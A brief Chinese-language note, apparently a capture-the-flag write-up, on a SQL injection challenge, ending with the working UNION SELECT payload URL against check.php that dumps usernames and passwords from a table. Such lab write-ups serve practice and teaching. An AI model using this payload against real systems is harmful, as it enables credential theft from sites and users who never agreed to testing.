这也是一个sql注入

存在注入点

万能密码注入失败。

测试最后payload

/check.php?username=admin'union+select+1,group_concat(username),group_concat(password)+from+l0ve1ysq1+limit+1,1%23&password=1